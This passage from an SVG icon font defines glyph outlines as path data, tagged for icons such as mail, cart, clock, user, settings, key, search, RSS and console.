	C 238,324.864, 234.864,328, 231,328z M 245,314C 241.136,314, 238,310.864, 238,307C 238,303.136, 241.136,300, 245,300S 252,303.136, 252,307C 252,310.864, 248.864,314, 245,314z" data-tags="mic, microphone, sound, record, voice" />
<glyph unicode="&#xe2a4;" d="M 406,328L 42,328 C 18.802,328,0,309.198,0,286l0-252 c0-23.184, 18.802-42, 42-42l 364,0 c 23.198,0, 42,18.816, 42,42L 448,286 C 448,309.198, 429.198,328, 406,328z M 38.374,20.14
	L 28.14,30.388l 115.486,115.472l 10.234-10.248L 38.374,20.14z M 409.626,20.14l-115.486,115.472l 10.234,10.248l 115.486-115.472L 409.626,20.14z M 238,113.45
	L 238,104 l-28,0 l0,9.45 L 28.042,282.15l 17.808,17.808L 224,134.786L 402.15,299.958l 17.808-17.808L 238,113.45z" data-tags="envelope, mail, email, contact" />
<glyph unicode="&#xe2a5;" d="M 406-64l-14,0 L 392,76 l 56,0 l0-98 C 448-45.184, 429.198-64, 406-64z M 392,244l 14,0 c 23.198,0, 42-18.816, 42-42l0-112 l-56,0 
	L 392,244 z M 84,76l 28.378,0 L 154,76 l 14,0 l 28,0 l0-14 l0-14 c0-7.742, 6.272-14, 14-14l 14,0 l0,0l 14,0 c 7.742,0, 14,6.258, 14,14l0,14 l0,14 l 84,0 l 28,0 l0-140 L 84-64 L 84,76 z M 252,90l0,28 l0,14 c0,7.742-6.258,14-14,14
	l-14,0 l0,0l-14,0 c-7.728,0-14-6.258-14-14l0-14 l0-28 l-28,0 l-14,0 L 112,90 L 84,90 L 84,244 l 28,0 L 112,279 C 112,336.988, 162.148,384, 224,384s 112-47.012, 112-105L 336,244 l 28,0 l0-154 l-28,0 L 252,90 z M 280,272
	c0,30.926-25.074,56-56,56s-56-25.074-56-56l0-28 l 112,0 L 280,272 z M0-22l0,98 l 56,0 l0-140 L 42-64 C 18.802-64,0-45.184,0-22z M0,202c0,23.184, 18.802,42, 42,42l 14,0 l0-154 L0,90 L0,202 z" data-tags="briefcase, suitcase, travel, work" />
<glyph unicode="&#xe2a6;" d="M 446.796,308.4L 406,146c0-1.946-0.392-3.78-1.092-5.446
	c-1.428-3.36-4.102-6.048-7.448-7.462C 395.78,132.378, 393.932,132, 392,132L 126,132 l 11.2-56L 378,76 c 7.742,0, 14-6.258, 14-14s-6.258-14-14-14L 126,48 
	c-7.742,0-14,6.258-14,14L 58.8,328L 14,328 C 6.272,328,0,334.272,0,342s 6.272,14, 14,14l 56,0 c 7.742,0, 14-6.272, 14-14l 2.8-14L 434,328 c 7.742,0, 14-6.272, 14-14
	C 448,311.998, 447.552,310.122, 446.796,308.4z M 120.4,160L 168,160 L 168,300 L 92.4,300 L 120.4,160z M 252,300l-70,0 l0-140 l 70,0 L 252,300 z M 336,300l-70,0 l0-140 l 70,0 L 336,300 z M 350,300l0-140 l 31.542,0 l 35.462,140L 350,300 z
	 M 154,20c 23.198,0, 42-18.816, 42-42s-18.802-42-42-42s-42,18.816-42,42S 130.802,20, 154,20z M 154-36c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14
	S 146.258-36, 154-36z M 350,20c 23.198,0, 42-18.816, 42-42s-18.802-42-42-42s-42,18.816-42,42S 326.802,20, 350,20z M 350-36c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14
	s-14-6.258-14-14S 342.258-36, 350-36z" data-tags="cart, shopping, ecommerce, buy, purchase" />
<glyph unicode="&#xe2a7;" d="M 65.618,1.618c-87.486,87.472-87.486,229.306,0,316.778
	c 87.472,87.486, 229.306,87.486, 316.778,0c 87.486-87.472, 87.486-229.306,0-316.778C 294.91-85.868, 153.090-85.868, 65.618,1.618z M 342.79,278.79
	L 105.21,41.21c 65.618-65.618, 171.976-65.618, 237.594,0S 408.408,213.186, 342.79,278.79z" data-tags="contrast" />
<glyph unicode="&#xe2a8;" d="M 224,384C 100.282,384,0,283.704,0,160c0-123.704, 100.282-224, 224-224s 224,100.296, 224,224
			C 448,283.704, 347.718,384, 224,384z M 224-8C 131.222-8, 56,67.222, 56,160S 131.222,328, 224,328s 168-75.222, 168-168S 316.778-8, 224-8zM 322,188l-70,0 L 252,286 c0,7.728-6.258,14-14,14l-28,0 c-7.742,0-14-6.272-14-14l0-140 c0-7.742, 6.258-14, 14-14
	l 112,0 c 7.742,0, 14,6.258, 14,14l0,28 C 336,181.742, 329.742,188, 322,188z" data-tags="clock, time, history" />
<glyph unicode="&#xe2a9;" d="M0-64l0,42 c0,62.776, 79.086,86.506, 183.386,96.068c-22.904,14.196-40.88,54.096-50.246,85.96
	C 133.098,160.028, 133.056,160, 133,160C 132.048,160, 112,185.074, 112,216c0,27.132-1.932,49.756, 14.098,54.88C 126.084,271.258, 126,271.622, 126,272
	c0,34.398, 17.794,64.54, 44.618,82.026C 177.548,371.316, 198.674,384, 224,384s 46.452-12.684, 53.382-29.974C 304.206,336.54, 322,306.398, 322,272
	c0-0.378-0.084-0.742-0.098-1.12C 337.932,265.756, 336,243.132, 336,216c0-30.926-22.232-56-21-56c-0.056,0-0.098,0.028-0.14,0.028
	c-9.366-31.85-27.342-71.764-50.246-85.96C 368.914,64.506, 448,41.658, 448-22l0-42 L0-64 z" data-tags="user, profile, avatar, head" />
<glyph unicode="&#xe2aa;" d="M 377.86,123.39c 30.184-22.498, 56.056-43.092, 56.056-43.092l-36.834-64.596l-66.57,29.386
	l-61.684-36.078C 264.656-29.028, 260.834-64, 260.834-64l-73.668,0 l-8.176,73.234l-60.788,36.162l-67.298-29.708l-36.82,64.596
	c0,0, 25.438,20.496, 55.552,42.924l0,73.626 l-55.552,42.84l 36.82,64.61l 65.688-29.232l 65.212,35.378L 187.166,384l 73.668,0 l 5.334-73.262l 64.316-36.092
	l 66.612,29.652l 36.834-64.61l-56.056-42.994L 377.874,123.39 z M 224,216c-30.926,0-56-25.074-56-56s 25.074-56, 56-56s 56,25.074, 56,56S 254.926,216, 224,216z" data-tags="cog, gear, settings, generate, make, options" />
<glyph unicode="&#xe2ab;" d="M 364-8c-46.382,0-84,31.332-84,70s 37.618,70, 84,70c 9.87,0, 19.194-1.68, 28-4.298L 392,258 l-224-56l0-210 
	l-1.694,0 C 158.522-39.948, 124.628-64, 84-64c-46.382,0-84,31.332-84,70s 37.618,70, 84,70c 9.87,0, 19.194-1.68, 28-4.298L 112,314 l 56,14l 224,56l 56,0 l0-322 
	C 448,23.332, 410.382-8, 364-8z" data-tags="music, song" />
<glyph unicode="&#xe2ac;" d="M 336,160L 168,160 l0-56 c0-30.926, 25.074-56, 56-56l 28,0 l 42,0 l 42,0 c 30.926,0, 56-25.074, 56-56s-25.074-56-56-56l-42,0 l-42,0 l-28,0 
	C 131.222-64, 56,11.222, 56,104L 56,272 L 56,300 L 56,328 c0,30.926, 25.074,56, 56,56s 56-25.074, 56-56l0-28 l0-28 l 168,0 c 30.926,0, 56-25.074, 56-56S 366.926,160, 336,160z" data-tags="twitter, social" />
<glyph unicode="&#xe2ad;" d="M 422.422,278.412l-4.396-4.396l-80.164,80.206l 4.382,4.382c0,0, 19.194,25.382, 46.494,25.382
	c 12.026,0, 25.648-4.942, 39.886-19.18C 475.58,317.85, 422.422,278.412, 422.422,278.412z M 391.706,247.682L 118.776-25.374l0-0.014 l-0.028-0.014L 118.72-25.402 L0-64
	l 38.584,118.776l0,0 l0,0.014l0,0.042l 0.028,0 L 311.556,327.902l 3.528-3.542 M 38.64-25.346l 59.318,17.066l-40.516,43.148L 38.64-25.346z" data-tags="pencil, write, blog, save, note" />
<glyph unicode="&#xe2ae;" d="M 448,76c0-15.456-12.544-28-28-28l0-30.576 c 16.268-5.796, 28-21.168, 28-39.424
	c0-23.184-18.816-42-42-42c-18.27,0-33.642,11.732-39.424,28L 336-36 c0-15.456-12.544-28-28-28s-28,12.544-28,28l-28,0 c0-15.456-12.544-28-28-28s-28,12.544-28,28l-28,0 
	c0-15.456-12.544-28-28-28s-28,12.544-28,28L 81.424-36 C 75.642-52.268, 60.256-64, 42-64c-23.198,0-42,18.816-42,42c0,18.27, 11.718,33.628, 28,39.424L 28,48 
	c-15.456,0-28,12.544-28,28s 12.544,28, 28,28l0,28 c-15.456,0-28,12.544-28,28s 12.544,28, 28,28l0,28 c-15.456,0-28,12.544-28,28s 12.544,28, 28,28L 28,302.576 
	C 11.718,308.358,0,323.744,0,342c0,23.198, 18.802,42, 42,42c 18.256,0, 33.642-11.718, 39.424-28L 112,356 c0,15.456, 12.544,28, 28,28s 28-12.544, 28-28l 28,0 
	c0,15.456, 12.544,28, 28,28s 28-12.544, 28-28l 28,0 c0,15.456, 12.544,28, 28,28s 28-12.544, 28-28l 30.576,0 C 372.358,372.282, 387.73,384, 406,384c 23.184,0, 42-18.802, 42-42
	c0-18.256-11.732-33.642-28-39.424L 420,272 c 15.456,0, 28-12.544, 28-28s-12.544-28-28-28l0-28 c 15.456,0, 28-12.544, 28-28s-12.544-28-28-28l0-28 C 435.456,104, 448,91.456, 448,76z
	 M 364,286c0,7.728-6.258,14-14,14L 98,300 C 90.272,300, 84,293.728, 84,286l0-252 c0-7.742, 6.272-14, 14-14l 252,0 c 7.742,0, 14,6.258, 14,14L 364,286 z" data-tags="frame, picture" />
<glyph unicode="&#xe2af;" d="M 420,160c0-108.248-87.752-196-196-196S 28,51.752, 28,160c0,47.712, 17.164,91.322, 45.5,125.3
	c 2.156,3.976, 5.152,7.434, 8.89,9.94c 0.63,0.658, 1.19,1.4, 1.834,2.044c 0.014-0.322, 0.154-0.63, 0.182-0.952C 88.452,298.6, 93.044,300, 98,300
	c 15.456,0, 28-12.544, 28-28c0-9.744-4.97-18.312-12.53-23.324C 113.96,248.312, 114.31,247.864, 114.814,247.5C 95.564,223.532, 84,193.138, 84,160
	c0-77.322, 62.678-140, 140-140s 140,62.678, 140,140c0,33.138-11.564,63.532-30.814,87.5c 0.504,0.364, 0.868,0.812, 1.344,1.176
	C 326.97,253.688, 322,262.256, 322,272c0,15.456, 12.544,28, 28,28c 4.956,0, 9.548-1.4, 13.594-3.668c 0.028,0.322, 0.168,0.63, 0.196,0.952
	c 0.63-0.644, 1.19-1.386, 1.834-2.044c 3.738-2.506, 6.72-5.964, 8.89-9.94C 402.822,251.322, 420,207.712, 420,160z M 238,132l-28,0 
	c-7.742,0-14,6.258-14,14L 196,342 c0,7.728, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.272, 14-14l0-196 C 252,138.258, 245.742,132, 238,132z" data-tags="switch, power" />
<glyph unicode="&#xe2b0;" d="M 316.764,104.826l-0.14,0.084l-0.924-0.742l 1.316-0.196
	c0,0, 56.728-142.856, 44.842-163.562c-23.366-17.71-123.788,78.33-136.836,91.014l 0.084-0.49c0,0-112.826-112.672-138.95-92.526
	c-15.652,11.368, 41.258,168.42, 41.258,168.42l 0.266,0.042c-20.902,11.942-135.702,93.044-127.218,122.234C 0.714,246.674, 160.258,245.456, 165.34,244.77
	C 165.956,248.34, 193.298,384, 224.014,384c 30.87,0, 57.4-138.852, 57.722-140.784l 0.084,0 l 0.028-0.14l 0.35,0.742c0,0, 165.102,2.534, 165.354-14.714
	C 456.904,197.002, 316.764,104.826, 316.764,104.826z" data-tags="star, favorite, rate" />
<glyph unicode="&#xe2b1;" d="M 196,104l-42,0 l0,0.854 C 149.38,104.378, 144.746,104, 140,104C 62.692,104,0,166.678,0,244
	C0,321.322, 62.692,384, 140,384s 140-62.678, 140-140l0-56 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-14 l 14,0 l0-28 l0-56 c0-7.742-6.258-14-14-14l-56,0 
	c-7.742,0-14,6.258-14,14l0,56 l-14,0 l-14,0 l-42,0 c-7.728,0-14,6.258-14,14l0,56 l-56,0 l-14,0  M 112,328C 81.074,328, 56,302.926, 56,272s 25.074-56, 56-56s 56,25.074, 56,56S 142.926,328, 112,328z" data-tags="key, password, unlock, login, log in" />
<glyph unicode="&#xe2b2;" d="M 252,188L 252,384 c 115.976,0, 196-80.024, 196-196L 252,188 z M 210-64C 94.024-64,0,30.024,0,146
	C0,272.476, 92.274,356, 224,356l0-196 l 196,0 C 420,44.024, 325.976-64, 210-64z" data-tags="chart, pie, stats" />
<glyph unicode="&#xe2b3;" d="M 355.39,145.944c 0.658-67.774, 63.826-90.286, 64.554-90.622
	c-0.574-1.526-10.122-32.13-33.334-63.728c-20.076-27.286-40.852-54.46-73.64-55.006c-32.242-0.574-42.602,17.794-79.464,17.794
	c-36.848,0-48.356-17.248-78.848-18.368c-31.626-1.12-55.734,29.456-75.978,56.672c-41.356,55.636-72.94,157.206-30.492,225.75
	c 21.042,34.048, 58.688,55.608, 99.568,56.182c 31.080,0.518, 60.438-19.516, 79.408-19.516c 19.026,0, 54.684,24.066, 92.148,20.538
	c 15.694-0.602, 59.752-5.88, 88.018-44.366C 405.104,229.916, 354.76,202.7, 355.39,145.944z M 223.384,280.75c-3.654,25.746, 9.968,52.514, 25.536,69.328
	C 266.294,369.020, 295.61,383.104, 319.816,384c 3.094-26.236-8.26-52.57-25.046-71.526C 277.956,293.546, 250.39,278.804, 223.384,280.75z" data-tags="apple" />
<glyph unicode="&#xe2b4;" d="M 378-64L 70-64 c-7.742,0-14,6.258-14,14L 56,244 l 14,0 l0,0l 112,0 c 7.742,0, 14,6.272, 14,14L 196,328 L 196,370 L 196,384 l 182,0 
	c 7.742,0, 14-6.272, 14-14l0-420 C 392-57.742, 385.742-64, 378-64z M 168,384l0-56 l0-56 L 56,272 L 168,384z" data-tags="file, paper" />
<glyph unicode="&#xe2b5;" d="M 434,216L 280,216 L 280,370 c0,7.728-6.258,14-14,14l-84,0 c-7.742,0-14-6.272-14-14l0-154 L 14,216 
		c-7.742,0-14-6.272-14-14l0-84 c0-7.742, 6.258-14, 14-14l 154,0 l0-154 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14L 280,104 l 154,0 c 7.742,0, 14,6.258, 14,14l0,84 
		C 448,209.728, 441.742,216, 434,216z" data-tags="plus, add, sum" />
<glyph unicode="&#xe2b6;" d="M 14,216l 420,0 c 7.742,0, 14-6.272, 14-14l0-84 c0-7.742-6.258-14-14-14L 14,104 c-7.728,0-14,6.258-14,14l0,84 
	C0,209.728, 6.272,216, 14,216z" data-tags="minus, subtract" />
<glyph unicode="&#xe2b7;" d="M 280,216l-84-140l-55.58,40.544L 140,118l-3.304,1.274l 2.576-1.89L 56,48l0-28 l 336,0 l0,28 l-42,126L 280,216z M 126,202c 23.184,0, 42,18.802, 42,42
		s-18.816,42-42,42s-42-18.802-42-42S 102.816,202, 126,202z M 434,356L 14,356 C 6.272,356,0,349.728,0,342l0-364 c0-7.742, 6.272-14, 14-14l 420,0 c 7.742,0, 14,6.258, 14,14L 448,342 
		C 448,349.728, 441.742,356, 434,356z M 420,6c0-7.742-6.258-14-14-14L 42-8 c-7.728,0-14,6.258-14,14L 28,314 c0,7.728, 6.272,14, 14,14l 364,0 c 7.742,0, 14-6.272, 14-14L 420,6 z" data-tags="picture, photos, images" />
<glyph unicode="&#xe2b8;" d="M 434,216L 14,216 c-7.728,0-14-6.272-14-14l 14-224c0-7.742, 6.272-14, 14-14l 392,0 c 7.742,0, 14,6.258, 14,14l 14,224C 448,209.728, 441.742,216, 434,216z M 434,300L 280,300 
		l-28,42c0,7.728-6.258,14-14,14L 70,356 C 62.272,356, 56,349.728, 56,342l0-42 L 14,300 C 6.272,300,0,293.728,0,286l0-28 c0-7.728, 6.272-14, 14-14l 420,0 c 7.742,0, 14,6.272, 14,14L 448,286 
		C 448,293.728, 441.742,300, 434,300z" data-tags="folder, directory, category" />
<glyph unicode="&#xe2b9;" d="M 434,300l-77,0 L 336,342c0,7.728-6.258,14-14,14L 126,356 C 118.258,356, 112,349.728, 112,342L 91,300L 14,300 
		C 6.272,300,0,293.728,0,286l0-308 c0-7.742, 6.272-14, 14-14l 420,0 c 7.742,0, 14,6.258, 14,14L 448,286 C 448,293.728, 441.742,300, 434,300z M 224,20c-61.852,0-112,50.148-112,112
		c0,61.852, 50.148,112, 112,112s 112-50.148, 112-112C 336,70.148, 285.852,20, 224,20z M 224,188c-30.926,0-56-25.074-56-56s 25.074-56, 56-56s 56,25.074, 56,56
		S 254.926,188, 224,188z" data-tags="camera, photos, images, pictures" />
<glyph unicode="&#xe2ba;" d="M 444.010-21.342c 5.334-5.334, 5.334-13.986,0-19.334l-19.334-19.334
	c-5.348-5.334-14-5.334-19.334,0l-135.352,135.352c-1.47,1.47-2.45,3.206-3.108,5.054C 239.12,60.11, 205.030,48, 168,48
	C 75.222,48,0,123.222,0,216C0,308.778, 75.222,384, 168,384c 92.778,0, 168-75.222, 168-168c0-37.030-12.11-71.12-32.396-98.882
	c 1.848-0.658, 3.584-1.624, 5.054-3.108L 444.010-21.342z M 168,328c-61.852,0-112-50.148-112-112c0-61.852, 50.148-112, 112-112s 112,50.148, 112,112
	C 280,277.852, 229.852,328, 168,328z" data-tags="search, zoom, magnifier, magnifying glass" />
<glyph unicode="&#xe2bb;" d="M 443.464,205.094c-2.954,14.378-7.35,28.56-13.076,42.098
	c-5.6,13.286-12.558,26.082-20.664,38.052c-8.008,11.858-17.206,23.002-27.328,33.124c-10.15,10.15-21.294,19.348-33.138,27.342
	c-11.97,8.106-24.794,15.050-38.066,20.664c-13.538,5.698-27.706,10.136-42.098,13.062C 254.352,382.46, 239.176,384, 224,384s-30.352-1.54-45.122-4.564
	c-14.378-2.926-28.546-7.35-42.084-13.062C 123.522,360.76, 110.712,353.816, 98.742,345.71C 86.884,337.716, 75.726,328.518, 65.604,318.368
	c-10.136-10.122-19.32-21.266-27.328-33.124C 30.17,273.288, 23.226,260.492, 17.612,247.206c-5.726-13.538-10.122-27.72-13.076-42.098
	C 1.526,190.366,0,175.176,0,160.028c0-15.218, 1.526-30.408, 4.536-45.15c 2.954-14.364, 7.336-28.546, 13.076-42.070
	c 5.614-13.272, 12.558-26.11, 20.664-38.080c 8.008-11.858, 17.206-22.988, 27.328-33.124c 10.136-10.122, 21.294-19.306, 33.138-27.314
	c 11.97-8.092, 24.794-15.050, 38.066-20.664c 13.538-5.74, 27.706-10.108, 42.084-13.076C 193.648-62.474, 208.824-64, 224-64s 30.352,1.526, 45.108,4.564
	c 14.392,2.968, 28.56,7.322, 42.098,13.076c 13.272,5.6, 26.082,12.558, 38.066,20.664c 11.858,8.008, 23.002,17.206, 33.138,27.314
	c 10.122,10.15, 19.32,21.28, 27.328,33.124c 8.092,11.956, 15.050,24.794, 20.664,38.080c 5.712,13.524, 10.122,27.706, 13.076,42.070
	C 446.474,129.62, 448,144.81, 448,160.028C 448,175.176, 446.474,190.366, 443.464,205.094z M 415.24,161.918c-2.758,0.602-67.508,14.518-133.252,6.258
	c-1.344,3.276-2.702,6.566-4.13,9.87c-3.962,9.38-8.26,18.648-12.712,27.762c 75.544,30.828, 106.232,75.18, 106.582,75.712
	C 398.58,248.928, 414.806,207.306, 415.24,161.918z M 350.35,303.556c-0.462-0.756-27.72-42.21-99.932-69.258c-32.704,60.088-68.628,107.8-71.512,111.594
	C 193.368,349.406, 208.474,351.296, 224,351.296C 272.44,351.296, 316.638,333.25, 350.35,303.556z M 178.192,345.738c-0.014-0.028-0.042-0.042-0.042-0.042
	s-0.224-0.056-0.574-0.126C 177.758,345.626, 177.982,345.668, 178.192,345.738z M 142.38,333.012c 2.548-3.416, 37.926-51.366, 71.036-110.222
	C 121.562,198.388, 41.846,199.34, 36.792,199.438C 49.224,258.686, 89.026,307.798, 142.38,333.012z M 32.704,160.028c0,2.030, 0.084,4.018, 0.168,6.034
	c 3.36-0.070, 97.888-2.212, 196.378,27.258c 5.502-10.724, 10.738-21.63, 15.526-32.522c-2.548-0.714-5.026-1.456-7.546-2.282
	c-103.236-33.362-155.596-126.252-155.596-126.252s 0.070-0.056, 0.084-0.084C 51.254,66.060, 32.704,110.86, 32.704,160.028z M 224-31.282
	c-46.298,0-88.76,16.464-121.856,43.834c 2.534-2.044, 4.284-3.346, 4.284-3.346s 36.666,79.982, 150.15,119.49c 0.406,0.168, 0.84,0.28, 1.26,0.406
	c 26.922-69.93, 38.038-128.534, 40.866-145.236C 275.73-25.878, 250.502-31.282, 224-31.282z M 330.904,1.338c-1.96,11.564-12.138,67.704-37.226,136.654
	c 61.754,9.87, 115.262-7.070, 119.224-8.372C 404.376,76.336, 373.856,30.346, 330.904,1.338z" data-tags="dribbble, social" />
<glyph unicode="&#xe2bc;" d="M 419.076-49.608L 233.73,377.826C 232.106,381.578, 228.396,384, 224.308,384
		s-7.798-2.422-9.408-6.16L 28.924-49.594c-1.386-3.206-1.064-6.86, 0.84-9.758C 31.668-62.236, 34.888-64, 38.346-64L 196-64 l0,93.352 l-55.986,18.662
		c-7.742,0-14,6.258-14,14s 6.258,14, 14,14L 196,57.352L 196,146 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14l0-21 l 41.986,21c 7.742,0, 14-6.258, 14-14
		s-6.258-14-14-14L 252,97.014l0-49 l 69.986,42c 7.742,0, 14-6.258, 14-14s-6.258-14-14-14l-69.986-42L 252-64 l 157.654,0 c 3.472,0, 6.692,1.75, 8.582,4.648
		C 420.14-56.468, 420.434-52.786, 419.076-49.608z" data-tags="forrst, social" />
<glyph unicode="&#xe2bd;" d="M 368.676-64C 368.326,136.914, 193.018,301.106,0,301.484L0,384 c 236.824,0, 448-201.516, 448-448L 368.676-64 
	z M 300.65-63.972l-79.282,0 c 0.266,49.336-24.794,104.552-64.456,145.894C 117.474,123.6, 47.572,149.864, 0.196,149.612L 0.196,232.1 
	C 148.106,228.908, 297.64,89.202, 300.65-63.972z M 56.224,48.042c 30.898,0, 55.944-25.074, 55.944-56c0-30.912-25.046-55.986-55.944-55.986
	S 0.28-38.87, 0.28-7.958C 0.28,22.968, 25.326,48.042, 56.224,48.042z" data-tags="feed, rss" />
<glyph unicode="&#xe2be;" d="M 382.382,1.618c-87.472-87.486-229.306-87.486-316.778,0
	c-87.486,87.472-87.486,229.306,0,316.778c 87.472,87.486, 229.306,87.486, 316.778,0C 469.868,230.91, 469.868,89.090, 382.382,1.618z M 105.21,41.21
	c 58.842-58.842, 150.402-64.736, 216.006-18.018L 87.192,257.216C 40.474,191.612, 46.368,100.066, 105.21,41.21z M 342.79,278.79
	C 283.948,337.632, 192.388,343.526, 126.798,296.808l 234.024-234.010C 407.526,128.388, 401.632,219.948, 342.79,278.79z" data-tags="blocked, denied, forbidden" />
<glyph unicode="&#xe2bf;" d="M 224,384C 100.282,384,0,283.704,0,160c0-123.704, 100.282-224, 224-224s 224,100.296, 224,224
		C 448,283.704, 347.718,384, 224,384z M 252-5.48L 252,48 c0,7.742-6.258,14-14,14l-28,0 c-7.742,0-14-6.258-14-14l0-53.48 C 125.706,6.336, 70.252,61.72, 58.422,132L 112,132 
		c 7.742,0, 14,6.258, 14,14l0,28 c0,7.742-6.258,14-14,14L 58.52,188 C 70.336,258.308, 125.72,313.748, 196,325.578L 196,272 c0-7.728, 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.272, 14,14
		L 252,325.578 c 70.28-11.83, 125.664-67.27, 137.48-137.578L 336,188 c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 53.578,0 
		C 377.748,61.72, 322.294,6.336, 252-5.48z" data-tags="target, goal, location" />
<glyph unicode="&#xe2c0;" d="M 84,384l0-448 l 280,223.678L 84,384z" data-tags="play, media control" />
<glyph unicode="&#xe2c1;" d="M 154,384L 70,384 C 62.258,384, 56,377.728, 56,370l0-420 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14L 168,370 
				C 168,377.728, 161.742,384, 154,384z M 378,384l-84,0 c-7.742,0-14-6.272-14-14l0-420 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14L 392,370 C 392,377.728, 385.742,384, 378,384
				z" data-tags="pause, media control" />
<glyph unicode="&#xe2c2;" d="M 434,174l-72.072,0 c-2.548,18.998-7.714,36.834-14.826,53.102L 392,272c 7.742,0, 14,6.272, 14,14L 406,356 
	c0,7.728-6.258,14-14,14s-14-6.272-14-14l0-70 l-46.284-30.856c-7.126,10.514-15.162,20.048-24.15,28.070C 303.352,339.802, 267.554,384, 224,384
	s-79.352-44.198-83.58-100.786C 131.446,275.206, 123.396,265.672, 116.284,255.144L 70,286L 70,356 c0,7.728-6.272,14-14,14S 42,363.728, 42,356l0-70 c0-7.728, 6.272-14, 14-14
	l 44.898-44.898C 93.786,210.834, 88.62,192.998, 86.072,174L 14,174 c-7.728,0-14-6.258-14-14s 6.272-14, 14-14l 72.002,0 c 1.554-11.676, 4.158-50.89, 7.518-61.6
	l-40.838-51.072C 46.592,31.788, 42,26.552, 42,20l0-70 c0-7.742, 6.272-14, 14-14s 14,6.258, 14,14l0,70 l 35.294,35.294C 128.926,8.87, 170.044-22, 217-22
	c 2.366,0, 4.662,0.42, 7,0.588C 226.338-21.58, 228.634-22, 231-22c 46.956,0, 88.074,30.87, 111.706,77.294L 378,20l0-70 c0-7.742, 6.258-14, 14-14
	s 14,6.258, 14,14l0,70 c0,6.552-4.592,11.788-10.668,13.314L 354.48,84.4c 3.36,10.724, 5.964,49.924, 7.518,61.6L 434,146 c 7.742,0, 14,6.258, 14,14
	S 441.742,174, 434,174z" data-tags="bug, virus" />
<glyph unicode="&#xe2c3;" d="M 434,328L 14,328 C 6.272,328,0,321.728,0,314l0-308 c0-7.742, 6.272-14, 14-14l 420,0 c 7.742,0, 14,6.258, 14,14L 448,314 
			C 448,321.728, 441.742,328, 434,328z M 420,34c0-7.742-6.258-14-14-14L 42,20 c-7.728,0-14,6.258-14,14L 28,286 c0,7.728, 6.272,14, 14,14l 364,0 c 7.742,0, 14-6.272, 14-14L 420,34 z
			 M 132.972,214.026L 79.002,268.010c-5.25,5.25-13.762,5.25-19.012,0s-5.25-13.762,0-19.012L 107.002,202l-47.012-47.012
			c-5.25-5.25-5.25-13.748,0-18.998s 13.762-5.25, 19.012,0l 53.97,53.97c 1.064,0.588, 2.142,1.12, 3.038,2.016
			C 138.768,194.734, 140,198.388, 139.846,202c 0.14,3.612-1.078,7.266-3.836,10.010C 135.114,212.906, 134.036,213.438, 132.972,214.026z M 266,160l-84,0 
			c-7.728,0-14-6.272-14-14c0-7.742, 6.272-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14C 280,153.728, 273.742,160, 266,160z" data-tags="console, command line" />
<glyph unicode="&#xe2c4;" d="M 406,384L 42,384 C 34.272,384, 28,377.728, 28,370l0-420 c0-7.742, 6.272-14, 14-14l 364,0 c 7.742,0, 14,6.258, 14,14L 420,370 
			C 420,377.728, 413.742,384, 406,384z M 70-8c-7.728,0-14,6.258-14,14s 6.272,14, 14,14s 14-6.258, 14-14S 77.728-8, 70-8z M 70,48c-7.728,0-14,6.258-14,14
			s 6.272,14, 14,14s 14-6.258, 14-14S 77.728,48, 70,48z M 70,104c-7.728,0-14,6.258-14,14s 6.272,14, 14,14s 14-6.258, 14-14S 77.728,104, 70,104z M 70,160
			c-7.728,0-14,6.272-14,14s 6.272,14, 14,14s 14-6.272, 14-14S 77.728,160, 70,160z M 70,216c-7.728,0-14,6.272-14,14s 6.272,14, 14,14s 14-6.272, 14-14S 77.728,216, 70,216
			z M 70,272C 62.272,272, 56,278.272, 56,286s 6.272,14, 14,14s 14-6.272, 14-14S 77.728,272, 70,272z M 70,328C 62.272,328, 56,334.272, 56,342s 6.272,14, 14,14s 14-6.272, 14-14S 77.728,328, 70,328z
			 M 336-22c0-7.742-6.258-14-14-14L 126-36 c-7.728,0-14,6.258-14,14L 112,118 c0,7.742, 6.272,14, 14,14l 196,0 c 7.742,0, 14-6.258, 14-14L 336-22 z M 336,174
			c0-7.728-6.258-14-14-14L 126,160 c-7.728,0-14,6.272-14,14L 112,342 c0,7.728, 6.272,14, 14,14l 196,0 c 7.742,0, 14-6.272, 14-14L 336,174 z M 378-8c-7.742,0-14,6.258-14,14
			s 6.258,14, 14,14s 14-6.258, 14-14S 385.742-8, 378-8z M 378,48c-7.742,0-14,6.258-14,14s 6.258,14, 14,14s 14-6.258, 14-14S 385.742,48, 378,48z M 378,104
			c-7.742,0-14,6.258-14,14s 6.258,14, 14,14s 14-6.258, 14-14S 385.742,104, 378,104z M 378,160c-7.742,0-14,6.272-14,14s 6.258,14, 14,14s 14-6.272, 14-14
			S 385.742,160, 378,160z M 378,216c-7.742,0-14,6.272-14,14s 6.258,14, 14,14s 14-6.272, 14-14S 385.742,216, 378,216z M 378,272c-7.742,0-14,6.272-14,14s 6.258,14, 14,14
			s 14-6.272, 14-14S 385.742,272, 378,272z M 378,328c-7.742,0-14,6.272-14,14s 6.258,14, 14,14s 14-6.272, 14-14S 385.742,328, 378,328z" data-tags="film, movies, videos" />
<glyph unicode="&#xe2c5;" d="M 392,384L 56,384 C 48.272,384, 42,377.728, 42,370l0-84 c0-7.728, 6.272-14, 14-14l 14,0 c 7.728,0, 14,6.272, 14,14l 28,42l 84,0 
	l0-336 l-70-28c-7.728,0-14-6.258-14-14s 6.272-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14l-70,28L 252,328 l 84,0 l 28-42c0-7.728, 6.258-14, 14-14l 14,0 
	c 7.742,0, 14,6.272, 14,14L 406,370 C 406,377.728, 399.742,384, 392,384z" data-tags="type, typography, text, font" />
